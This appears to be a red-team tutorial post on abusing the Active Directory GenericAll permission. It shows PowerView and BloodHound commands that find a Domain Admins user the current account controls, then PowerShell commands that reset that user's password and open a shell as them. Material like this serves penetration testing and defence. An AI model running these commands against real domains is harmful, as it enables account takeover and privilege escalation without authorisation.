Home GenericAll On User
Post
Cancel

GenericAll On User

GenericAll

GenericAll : Is a permission that gives full rights to an active directory objects. If you have GenericAll on user object, you can reset user’s password without knowing the current password of the user, thereby escalating your privileges.

Enumeration

PowerView

GenericAll Enumeration

Get your current user’s sid by executing whoami /user, import powerview, then execute the below command to get the list of objects on which you have GenericAll right.

Command

1
2
3

get-objectacl -resolveguids | ? {($_.securityidentifier -eq "[your_current_user_sid]") -and ($_.activedirectoryrights -eq "GenericAll")}

below image shows the current user usman has GenericAll right on user object ali

userace

User Enumeration

Execute the below command to get more information about the target user.

Command

1
2
3

get-netuser [target_user]

below image shows the target user ali is a member of Domain Admins

userace

BloodHound

You can also get thesame result using bloodhound.

below image shows the current user usman has GenericAll right on user object ali who is a member of Domain Admins

userace

Exploitation

PowerView

Since you have GenericAll right on user ali, you can reset his password and login to his account by executing the below command

Command

1
2
3
4

$pass = ConvertTo-SecureString '[Your New Password Here]' -AsPlainText -Force
set-domainuserpassword -identity [target_user] -accountpassword $pass 
runas /user:[domain\user] cmd.exe

userace

References

This post is licensed under CC BY 4.0 by the author.